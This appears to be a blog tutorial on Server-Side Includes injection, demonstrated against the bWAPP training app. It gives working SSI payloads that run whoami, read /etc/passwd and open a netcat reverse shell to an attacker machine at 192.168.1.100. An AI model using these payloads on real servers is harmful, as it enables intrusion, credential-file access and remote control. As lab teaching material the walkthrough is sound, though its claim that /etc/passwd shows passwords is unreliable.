Server-Side Includes (SSI) Injection

In this post we will look at Server-Side Includes (SSI) Injection. Server-Side Includes allow developers to easily add persistent content to their pages rather than inserting common code on each page. For example if there is a logo or navigation menu on each page then it is easier to call this from a SSI. If an attacker can inject scripts into the HTML without proper escaping and the web server permits SSI then they may be able to exploit the application leading to file system and password file access. It may even be possible to execute shell commands

We will be using bWAPP to demonstrate some example attack scenarios .  We can see that the page below has two input fields. The output will be your IP address when you enter your first and last name.

The first thing we want to check is how meaningful characters are rendered when returned from the server. To do this you can use any intercept proxy tool, for this demo I will use ZaProxy. To execute a successful SSI Injection attack we will need to make sure that these characters <! -- are not escaped or filtered. So we inject them into the field.

The response in ZaProxy shows us that they are being displayed in the response unchanged (haven't been encoded). This is a good sign ;).

Ok let's take it a step further and try to execute an SSI. We can try to return the time and date using this command <!--#echo var="DATE_LOCAL" -->. Again we inject straight into the field..

The web server has parsed and executed the directive to echo the time and date before serving the page back, We now know it is vulnerable to injection.

So what else can we do? We can check to see if command execution is possible. whoami will return the current user, the command loos like this <!--#exec cmd="whoami" -->

Again we can see that it has executed the SSI returns www-data (the user under which the Apache server runs.

Now that we can execute commands lets go after some sensitive information like the /etc/passwd file (this contains user account information). To do this run <!--#exec cmd="cat /etc/passwd" -->

 

Great we can see usernames, passwords, user ids etc

The last thing to show is now to spawn a remote shell using netcat. Netcat is known as the Swiss army knife of networking tools. It is able to read and write data across TCP and UDP networks. For this demo I will use Kali Linux (attacker machine)  to run our netcat connection. Simply open a terminal and type the following command:   nc -l -p 666

The -l tells netcat to listen for an incoming connection rather than initiating a connection to a remote host. The -p specifies the source port nc should use, we have chosen 666. 

Next we want to inject our malicious SSI into the vulnerable input field. The command will be

 <!--#exec cmd="nc 192.168.1.100 666 -e /bin/bash" --> . This allows us to connect back to our attacker machine (192.168.1.100) on port 666 and then run a /bin/bash command when connection is successful.

The /bin/bash tells netcat to serve up a bash shell from the remote machine., which will then be available on the local machine. We can then execute shell commands on the remote host such as whoami, ls or pwd, its up to you :D